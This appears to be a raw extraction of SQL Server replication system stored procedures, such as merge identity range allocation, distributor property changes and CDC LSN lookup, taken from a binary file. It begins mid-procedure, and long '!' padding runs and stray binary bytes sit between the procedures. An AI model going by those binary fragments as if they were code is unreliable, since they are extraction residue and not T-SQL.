    if @@error<>0 or @retcode<>0
        return 1
    
    if @ranges_needed=0
        return 0

    if @artid is NULL
    begin
        select @artid=artid from dbo.sysmergearticles where objid=object_id(@qualified_object_name)
        if @artid is NULL
        begin
            RAISERROR (20027, 16, -1, @qualified_object_name)
            RETURN (1)
        end
    end

    select @range_begin = range_begin,
           @range_end = range_end,
           @next_range_begin = next_range_begin,
           @next_range_end = next_range_end
        from dbo.MSmerge_identity_range where artid=@artid and subid=@subid and is_pub_range=0
   
    exec @retcode = sys.sp_MSget_new_idrange 
                            @qualified_object_name, 
                            @artid, 
                            @range_begin output, 
                            @range_end output, 
                            @next_range_begin output, 
                            @next_range_end output, 
                            2, -- subscriber range. This is the publisher's local range.
                            @ranges_needed
    if @@error<>0 or @retcode<>0
    begin
        raiserror(21197, 16, -1)
        return 1
    end

    if @refresh_check_constraint=1 and @qualified_object_name is not NULL
    begin
        exec @retcode = sys.sp_MSrefresh_idrange_check_constraint @qualified_object_name, @artid, @range_begin, @range_end, @next_range_begin, @next_range_end, @ranges_needed
        if @@error<>0 or @retcode<>0
        begin
            raiserror(21197, 16, -1)
            return 1
        end
    end

    update dbo.MSmerge_identity_range 
        set range_begin = @range_begin,
            range_end = @range_end,
            next_range_begin = @next_range_begin,
            next_range_end = @next_range_end
        where subid=@subid and artid=@artid and is_pub_range=0
    if @@ERROR<>0 
    begin
        raiserror(21197, 16, -1)
        return 1
    end

    -- also update on the distributor the identity range that was just allocated to the publisher
    -- we will do this only for the root publisher. When a republisher gets restored from backup
    -- it should merge with its root publisher to get the information on what ranges were allocated.
    exec @retcode = sys.sp_MSmerge_log_idrange_alloc_on_distributor    
                        @subid,
                        @artid, 
                        0, -- is_pub_range 0 because in Yukon publisher's local allocation is the size of the sub range.
                        @ranges_needed,
                        @range_begin,
                        @range_end,
                        @next_range_begin,
                        @next_range_end
    
    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
Ka0 8create procedure sys.sp_changedistributor_property (
    @property 				sysname     	= NULL,     /* The property to change */
    @value 					nvarchar(255)  	= NULL		/* The new property value */
    ) AS

    declare @retcode int
    declare @new_heartbeat_interval int 

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    -- Check to make sure the local server is a distributor
    if not exists (SELECT * FROM master.dbo.sysservers
              WHERE  srvstatus & 8 <> 0 and
              UPPER(datasource  collate database_default) = UPPER(@@servername) collate database_default)
    begin
        RAISERROR (14114, 16, -1, @@SERVERNAME)
        return(1)
    end

    -- Return list of properties if @property is NULL
    if @property is NULL
    begin
		create table #tab1 (properties sysname collate database_default not null)
        insert into #tab1 values ('heartbeat_interval')
        select * from #tab1
        
        return (0)
    end

    -- Check for valid property
    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('heartbeat_interval')
    BEGIN
        RAISERROR (14154, 16, -1)
        RETURN (1)
    END

    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'heartbeat_interval'
    begin
		if isnumeric(@value) = 0 or convert(int, isnull(@value, 0)) < 1
		begin
			raiserror (21115, 16, -1, @value, 'heartbeat_interval')
			return 1
		end
		
        if exists (select name from msdb.sys.objects where name = 'MSdistributor')  
        begin
            update msdb..MSdistributor set value = @value where property = @property
            if @@error <> 0
                return 1
            select @new_heartbeat_interval = CONVERT(int, @value)
            exec @retcode = sys.sp_MScreate_replication_checkup_agent @heartbeat_interval = 
                @new_heartbeat_interval
            if @@error <> 0 or @retcode <> 0
                return 1
        end
        else 
            return 1
    end
    
    return (0)
0N e8create function [sys].[fn_cdc_get_max_lsn]()				
returns binary(10)
as													
begin
														
	declare @max_lsn binary(10)
	
	select @max_lsn = 0x00000000000000000000
		
	select @max_lsn = max(start_lsn)							
	from [cdc].[lsn_time_mapping]
									
	return @max_lsn
												
end													
0[h P8Xh5>6AI70?/@ 8
create procedure sys.sp_MShelpmergeconflictpublications
as 
begin
    declare @retcode int
	set nocount on 

	/*
	** Security Check
	*/
	EXEC @retcode = dbo.sp_MSreplcheck_publish
	IF @@ERROR <> 0 or @retcode <> 0
		return (1)
		
	declare @dbname sysname, @cmd nvarchar(1000)
	set @dbname = db_name()

	-- make sure current db has merge publishing tables (true on both pub and sub)
	if object_id('sysmergepublications') is NULL
	begin
		raiserror( 18757, 16, -1 )
		return(1)
	end

	-- unlike tran, all merge publications are updateable, so just return all
	set @cmd = 'select name, pubid, publisher, publisher_db from ' + quotename(@dbname) + '.dbo.sysmergepublications order by name'
	exec( @cmd )

	return (0)

end
0.@ P8create procedure sys.sp_MSenumdeleteslightweight
	@pubid			uniqueidentifier,
	@tablenick		int,
	@lastrowguid	uniqueidentifier,
	@maxrows 		int
as
	set nocount on

	declare @pubnick	int
	declare @METADATA_TYPE_DeleteLightweight tinyint
	declare @last_art_processing_order int
	declare @maxint int
	declare @retcode int

    -- security check
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if (@retcode <> 0 or @@error <> 0)
        return 1

	set @METADATA_TYPE_DeleteLightweight= 10
	set @maxint= 2147483647

    if 0 = @maxrows
    begin
        set @maxrows= @maxint
    end
    
	select @pubnick = sync_info from dbo.MSmerge_replinfo where repid = @pubid

	-- Step 1: Set the localid value for the deletes that will be enumerated.
	-- 		   That localid will be reset upon downloading the proxied metadata
	--		   from that publisher.
	-- Step 2: Enumerate all those rows whose localid has just been set.
	--
	if @tablenick = 0
	begin
		-- Step 1
		update rt
			set rt.sync_cookie= @pubnick
			from dbo.MSmerge_rowtrack rt join dbo.sysmergearticles art
			on rt.tablenick = art.nickname
			where art.pubid = @pubid and
				  rt.changetype = @METADATA_TYPE_DeleteLightweight

		-- Step 2
		select top (@maxrows) rt.tablenick, rt.rowguid, rt.rowvector
			from dbo.MSmerge_rowtrack rt join dbo.sysmergearticles art
			on rt.tablenick = art.nickname
			where art.pubid = @pubid and
				  rt.changetype = @METADATA_TYPE_DeleteLightweight and
				  rt.sync_cookie = @pubnick
			order by art.processing_order desc, rt.tablenick desc, rt.rowguid asc
	end
	else
	begin
		exec sys.sp_MSget_lightweightarticle_processing_order @tablenick, @pubid, @last_art_processing_order output
		
		-- Step 1
		update rt
			set rt.sync_cookie= @pubnick
			from dbo.MSmerge_rowtrack rt join dbo.sysmergearticles art
			on rt.tablenick = art.nickname
			where art.pubid = @pubid and
				  rt.changetype = @METADATA_TYPE_DeleteLightweight and
				  ((rt.tablenick = @tablenick and rt.rowguid > @lastrowguid)
					or
					(art.processing_order = @last_art_processing_order and rt.tablenick < @tablenick)
					or 
					art.processing_order < @last_art_processing_order
				  )

		-- Step 2
		select top (@maxrows) rt.tablenick, rt.rowguid, rt.rowvector
			from dbo.MSmerge_rowtrack rt join dbo.sysmergearticles art
			on rt.tablenick = art.nickname
			where art.pubid = @pubid and
				  rt.changetype = @METADATA_TYPE_DeleteLightweight and
				  ((rt.tablenick = @tablenick and rt.rowguid > @lastrowguid)
					or
					(art.processing_order = @last_art_processing_order and rt.tablenick < @tablenick)
					or 
					art.processing_order < @last_art_processing_order
				  ) and
				  rt.sync_cookie = @pubnick
			order by art.processing_order desc, rt.tablenick desc, rt.rowguid asc
	end

	return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

c
`
<
=)Xp0c
@ 8
create procedure sys.sp_MSgenreplnickname
    @srcguid        uniqueidentifier,
    @replnick        varbinary(6) output,
    @compatlevel    int = 10    -- backward compatibility level, default=Sphinx
as
    declare @maxlevel int

    select @maxlevel= sys.fn_MSgetmaxbackcompatlevel()
    if @compatlevel > @maxlevel
        set @maxlevel= @compatlevel

    -- we neither want duplicate replnicks, nor those that are between 0x010000000000 and 0xFF0000000000 (used for mergenicks)
    --
    -- if no publication requires at least Yukon compatibility, the last 2 bytes of the
    -- generated nickname have to be 0x0000.

    while 1=1
    begin
        if @maxlevel >= 80
            set @replnick= cast(reverse(substring(convert(binary(16), @srcguid),1,6)) as binary(6))
        else
            set @replnick= cast(reverse(substring(convert(binary(16), @srcguid),1,4)) as binary(4)) + 0x0000

        -- Values 0..255 are reserved for merge nicknames
        if substring(@replnick,2,5) = 0x0000000000 and
           substring(@replnick,1,1) > 0x00 and 
           substring(@replnick,1,1) <= 0xFF
        begin
            set @srcguid= newid()
            continue
        end

        -- Do not use existing nicknames from neither hws nor lws
        if object_id('dbo.sysmergesubscriptions', 'U') is not null
        begin
            if exists (select replnickname from dbo.sysmergesubscriptions where replnickname = @replnick)
            begin
                set @srcguid= newid()
                continue
            end
        end
        -- When we get here, the generated nickname is okay.
        break
    end
0y@ 8
create procedure sys.sp_MSmerge_getgencur (
    @tablenick int, -- tablenick for gen
    @changecount int, -- number of changes to put in gen
    @gen_cur bigint output
)
as
begin
    set nocount on
    declare @gen_change_threshold int
    declare @max_changecount int
    --declare @GENSTATUS_OPEN tinyint
    declare @replnick binary(6)
    declare @nickbin varbinary(255)
    declare @retcode int

    select @gen_cur = NULL
    --select @GENSTATUS_OPEN = 0

    if @changecount is NULL
        select @changecount = 0

    exec @retcode= sys.sp_MSgetreplnick @replnick = @replnick out
    if @retcode<>0 or @@error<>0 return NULL
    
    -- add a guard byte
    set @nickbin= @replnick + 0xFF

    if (@changecount > 0)
    begin
        select @gen_change_threshold = min(isnull(generation_leveling_threshold,0)) from dbo.sysmergepublications
            where pubid in (select pubid from dbo.sysmergearticles where nickname = @tablenick)
        if @gen_change_threshold = 0
            select @max_changecount = NULL
        else
            select @max_changecount = @gen_change_threshold-@changecount

    end
    else
        select @max_changecount = NULL

    if @max_changecount is not NULL
        select top 1 @gen_cur = generation from dbo.MSmerge_genhistory with (updlock, readpast, rowlock) 
            where genstatus = 0
                and changecount <= @max_changecount
                and art_nick = @tablenick 
    else
        select top 1 @gen_cur = generation from dbo.MSmerge_genhistory with (updlock, readpast, rowlock) 
            where genstatus = 0
                and art_nick = @tablenick 

    if @gen_cur is NULL
    begin
        insert into dbo.MSmerge_genhistory with (rowlock)
            (guidsrc, genstatus, art_nick, nicknames, coldate, changecount)
              values  (newid(), 0, @tablenick, @nickbin, getdate(), 0)
        select @gen_cur = @@identity
    end
    
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<J
=-\0,U} 8create procedure sys.sp_MSsetup_publisher_idrange
    @publication sysname,
    @source_table sysname,
    @source_owner sysname
as
    -- this proc be called in prepare merge article phase of snapshot
    -- will will setup the id range allocation for the publisher's local
    -- use of one has not already been allocated. 
    -- if the publisher has a range allocated already and is using the second
    -- range we will allocate a new next range for the publisher
    declare @retcode int
    declare @range_begin numeric(38,0)
    declare @range_end numeric(38,0)
    declare @next_range_begin numeric(38,0)
    declare @next_range_end numeric(38,0)
    declare @max_used numeric(38,0)
    declare @identity_range numeric(38,0)
    declare @low_range_inclusive bit
    declare @qualified_name nvarchar(300)
    declare @pubid uniqueidentifier
    declare @artid uniqueidentifier
    declare @objid int
    declare @pubid_other uniqueidentifier
    declare @identity_support int
    
    select @low_range_inclusive = 0
    select @qualified_name = quotename(@source_owner) + '.' + quotename(@source_table)
    select @objid = object_id(@qualified_name)
    if @objid is NULL
    begin
        raiserror(14027, 16, 1, @qualified_name)
        return (1)    
    end

    select @pubid = pubid from dbo.sysmergepublications 
        where name = @publication and publisher = publishingservername() and publisher_db = db_name()
    if @pubid is NULL
    begin
        raiserror (20026, 16, -1, @publication)
        return (1)
    end
    
    select @artid = artid, @identity_support = identity_support, @identity_range = range from dbo.sysmergearticles where pubid=@pubid and objid = @objid
    if @artid is NULL
    begin
        RAISERROR (20027, 16, -1, @qualified_name)
        RETURN (1)
    end

    if @identity_support <> 1
        return 0

    -- check if the current db is a republisher of the given article
    if 1 = sys.fn_MSmerge_isrepublisher(@artid)
        return 0


    -- the following could be the case if the article is published in two publications and the other publication's
    -- snapshot was run first.
    if exists (select subid from dbo.MSmerge_identity_range 
                where artid = @artid and subid<>@pubid and is_pub_range=0 and (sys.fn_MSmerge_islocalpubid(subid) = 1))
        return 0

    -- the following would be case if the article is in two or more publications and the other pub's snapshot has not been run
    -- yet but the subid in MSmerge_identity_range is the other publication's pubid
    select @pubid_other = subid from dbo.MSmerge_identity_range 
                where artid = @artid and is_pub_range=1 and (sys.fn_MSmerge_islocalpubid(subid) = 1) and subid <> @pubid
    if @pubid_other is not NULL
        select @pubid = @pubid_other

    -- if the following is the case something is really wrong
    if not exists(select subid from dbo.MSmerge_identity_range where subid = @pubid and artid = @artid and is_pub_range = 1)
    begin
        raiserror (20663, 16, -1, @publication)
        return (1)
    end

    if exists (select 1 from dbo.MSmerge_identity_range where subid = @pubid and artid = @artid and is_pub_range = 0)
    begin
        declare @ranges_needed tinyint
        declare @refresh_constraint bit

        select @ranges_needed = 0
        if exists (select 1 from sys.identity_columns where object_id=@objid and last_value is NULL)
            set @refresh_constraint = 0
        else
            set @refresh_constraint = 1
        
        -- a previous snapshot has already setup the publisher range. So we will just refresh the publisher's
        -- subscriber range if needed here.
        exec @retcode = sys.sp_MScheck_publisher_range_refresh @qualified_name, @pubid, @artid, @ranges_needed output
        if @retcode<>0 or @@error<>0
        begin
            raiserror (20689, 16, -1, @qualified_name)
            return (1)
        end
        if @ranges_needed > 0
        begin
            exec sys.sp_MSrefresh_publisher_idrange @qualified_name, @pubid, @artid, @ranges_needed, @refresh_constraint
            if @@error<>0 or @retcode<>0
            begin
                raiserror(20666, 16, -1, @qualified_name)
                return 1
            end
        end
    end
    else
    begin
        -- the following statement will ensure that the ident_curr in now equal to the highest values stored in the 
        -- identity column (lowest value for negative increments). This to account for incorrect reseeds
        -- IDENT_CURRENT Returns the last identity value generated for a specified table in any session and any scope. 
        DBCC CHECKIDENT(@qualified_name, RESEED) with no_infomsgs

        select @max_used = max_used from dbo.MSmerge_identity_range where subid = @pubid and artid = @artid

        -- max_used below will not be null in the case of upgrade. After adding the article during the first snapshot it will be NULL
        if @max_used is NULL
        begin
            if exists (select 1 from sys.identity_columns where object_id=@objid and last_value is NULL)
            begin
                select @max_used = IDENT_SEED(@qualified_name)
                select @low_range_inclusive = 1
            end
            else
                select @max_used = IDENT_CURRENT(@qualified_name)
        end

        -- addmergearticle would have already inserted the publisher identity range in MSmerge_identity_range table
        -- what we need do here is insert the publisher's subscriber range - local allocation.
        -- now insert publisher's subscriber entry that corresponds to the range allocated to the publisher
        select @range_begin = @max_used
        select @range_end = @range_begin + @identity_range
        select @next_range_begin = @range_end
        select @next_range_end = @next_range_begin + @identity_range

        insert dbo.MSmerge_identity_range(subid, artid, range_begin, range_end, next_range_begin, next_range_end, is_pub_range, max_used)
            values(@pubid, @artid, @range_begin, @range_end,  @next_range_begin, @next_range_end, 0, NULL)
        if @@error <> 0
                goto FAILURE

        -- update the max_used for the publisher's identity range
        update dbo.MSmerge_identity_range set max_used = @next_range_end where subid=@pubid and artid=@artid and is_pub_range=1
        if @@error <> 0
            goto FAILURE

        -- call the stored procedure to reseed the table and also create the identity range check constraint
        exec @retcode = sys.sp_MSrefresh_idrange_check_constraint 
                                @qualified_name,
                                @artid,
                                @range_begin,
                                @range_end,
                                @next_range_begin,
                                @next_range_end,
                                2,
                                @low_range_inclusive
        if @@ERROR<>0 or @retcode<>0
            goto FAILURE

        -- set the values about the current allocation on the distributor.
        exec @retcode = sys.sp_MSmerge_log_idrange_alloc_on_distributor    
                            @pubid,
                            @artid, 
                            0, -- is_pub_range publisher's local allocation is always a sub range
                            2, -- ranges_allocated we just allocated two ranges to the publisher
                            @range_begin,
                            @range_end,
                            @next_range_begin,
                            @next_range_end

    end

    return 0
    
FAILURE:
    raiserror(20690, 16, -1, @source_table)
    return 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<N
d=S0@ <8create procedure sys.sp_MSscript_delete_statement 
(
    @publication sysname,
    @article     sysname, 
    @objid int,
    @artid int,
    @queued_pub bit = 0
)
as
BEGIN
    declare @cmd          nvarchar(4000)
                ,@qualname     nvarchar(517)
                ,@hfilterprocid int
                ,@sync_objid int

    --
    -- Check if we have horizontal partition filter
    --
    select @hfilterprocid = filter, @sync_objid = sync_objid from dbo.sysarticles where artid = @artid
    if (@hfilterprocid = 0)
    begin
        --
        -- horizontal partional filter not defined, the qualified name should be the source object
        --
        exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT
    end
    else
    begin
        --
        -- horizontal partional filter not defined, the qualified name should be the view object
        --
        exec sys.sp_MSget_qualified_name @sync_objid, @qualname OUTPUT
    end
    --
    -- start scripting
    --
    select @cmd = N'
    ' + N'--
    ' + N'-- detection/conflict resolution stage
    ' + N'--'
    --
    -- queued specific scripting
    --
    if (@queued_pub = 1)
    begin
        select @cmd = @cmd + N'
    if (@execution_mode = @QPubWins)
        save tran cftpass
    '
    end
    insert into #proctext(procedure_text) values( @cmd )
    --
    -- script delete statement
    --
    select @cmd = N'
    delete ' + @qualname 
    insert into #proctext(procedure_text) values( @cmd )
    exec sys.sp_MSscript_where_clause @objid, @artid, 'upd version', 'msrepl_tran_version', 4
    --
    -- continue with scripting
    --
    select @cmd = N'
    select @rowcount = @@ROWCOUNT, @error = @@ERROR
    '
    --
    -- queued specific scripting
    --
    if (@queued_pub = 1)
    begin
        select @cmd = @cmd + N'
    if (@execution_mode = @QPubWins)
        rollback tran cftpass
    '
    end
    insert into #proctext(procedure_text) values( @cmd )
    --
    -- all done
    --
    return 0
END
0a*@ 8-- This stored procedure get the maximum identity range allocation from the distributor
-- and sets the max_used values of the article which use automatic identity range management
-- This proc needs to be called by the administrators when a publisher has been restored
-- from backup. This proc can be called with parameters of actual publication and article
-- names or with default which restored the max identity used fro all articles
create procedure sys.sp_restoremergeidentityrange
    @publication            sysname = 'all',  -- publication name 
    @article                sysname = 'all'   -- article name 
as
    declare @pubid uniqueidentifier
    declare @artid uniqueidentifier
    declare @publisher_db sysname
    declare @publisher sysname
    declare @max_used numeric(38, 0)
    declare @identity_support int
    declare @retcode int
    declare @objid int
    declare @qualified_table_name nvarchar(300)
    declare @ident_increment numeric(38,0)
    declare @current_max_used numeric(38,0)
    declare @subid uniqueidentifier

    -- Security Check
    exec @retcode= sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0 return (1)

    exec @retcode=sys.sp_MSCheckmergereplication
    if @@ERROR<>0 or @retcode<>0
        return (1)

    select @publisher_db = db_name()
    select @publisher = publishingservername()

    if LOWER(@publication) = 'all'
    BEGIN
        declare hC CURSOR LOCAL FAST_FORWARD FOR 
            select DISTINCT name FROM dbo.sysmergepublications 
            WHERE UPPER(publisher) collate database_default = UPPER(@publisher) collate database_default 
                and publisher_db=@publisher_db
                and pubid in (select pubid from dbo.sysmergearticles where identity_support = 1)
            FOR READ ONLY
        OPEN hC
        FETCH hC INTO @publication
        WHILE (@@fetch_status <> -1)
            BEGIN
                EXECUTE @retcode = sys.sp_restoremergeidentityrange @publication, @article
                if @@error<>0 or @retcode<>0
                begin
                    CLOSE hC
                    DEALLOCATE hC
                    return 1
                end
                FETCH hC INTO @publication
            END
        CLOSE hC
        DEALLOCATE hC
        RETURN (0)
    END

    select @pubid = pubid
    from dbo.sysmergepublications 
    where name = @publication and UPPER(publisher) collate database_default = UPPER(@publisher) collate database_default and publisher_db=@publisher_db
    if @pubid is NULL
    begin
        raiserror (20026, 16, -1, @publication)
        return (1)
    end

    if LOWER(@article) = 'all'
    BEGIN
        declare hC CURSOR LOCAL FAST_FORWARD FOR 
            select DISTINCT name FROM dbo.sysmergearticles 
                WHERE pubid=@pubid and identity_support=1 and (sys.fn_MSmerge_isrepublisher(artid)=0)
            FOR READ ONLY
        OPEN hC
        FETCH hC INTO @article
        WHILE (@@fetch_status <> -1)
            BEGIN
                EXECUTE @retcode = sys.sp_restoremergeidentityrange @publication, @article
                if @@error<>0 or @retcode<>0
                begin
                    CLOSE hC
                    DEALLOCATE hC
                    return 1
                end
                FETCH hC INTO @article
            END
        CLOSE hC
        DEALLOCATE hC
        RETURN (0)
    END

    select @artid=artid, @identity_support=identity_support, @objid=objid from dbo.sysmergearticles where pubid=@pubid and name=@article
    if @artid IS NULL or @objid is NULL
    BEGIN
        RAISERROR (20027, 16, -1, @article)
        goto ERROR
    END

    if @identity_support=0
    begin
        raiserror(20667, 16, -1, @article)
        goto ERROR
    end

    select @qualified_table_name = NULL
    exec sys.sp_MSget_qualified_name @objid, @qualified_table_name output
    if @qualified_table_name is NULL
    begin
        RAISERROR(20669 , 16, -1, @article)
        return (1)
    end

    select @ident_increment = IDENT_INCR(@qualified_table_name)
    
    select @max_used = NULL
    exec @retcode = sys.sp_MSget_max_used_identity_from_distributor @publication, @article, @max_used output
    if @@error<>0 or @retcode<>0 or @max_used is NULL
    begin
        raiserror(20729, 16, -1, @article, @publication)
        goto ERROR
    end

    select @subid = NULL, @current_max_used = NULL
    select @subid = subid, @current_max_used = max_used from dbo.MSmerge_identity_range 
        where artid = @artid and is_pub_range=1 and (sys.fn_MSmerge_islocalsubid(subid)=1)
    if @subid is NULL or @current_max_used is NULL
    begin
        raiserror(20663, 16, -1)
        goto ERROR
    end

    if (@ident_increment > 0 and @max_used > @current_max_used) or
       (@ident_increment < 0 and @max_used < @current_max_used)
    begin
        update dbo.MSmerge_identity_range set max_used = @max_used 
            where artid = @artid and is_pub_range=1 and subid=@subid
        if @@error<>0
            goto ERROR
    end
    
    return 0
    
ERROR:
    raiserror(20728, 16, -1, @article, @publication)
    return 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`(r<Q
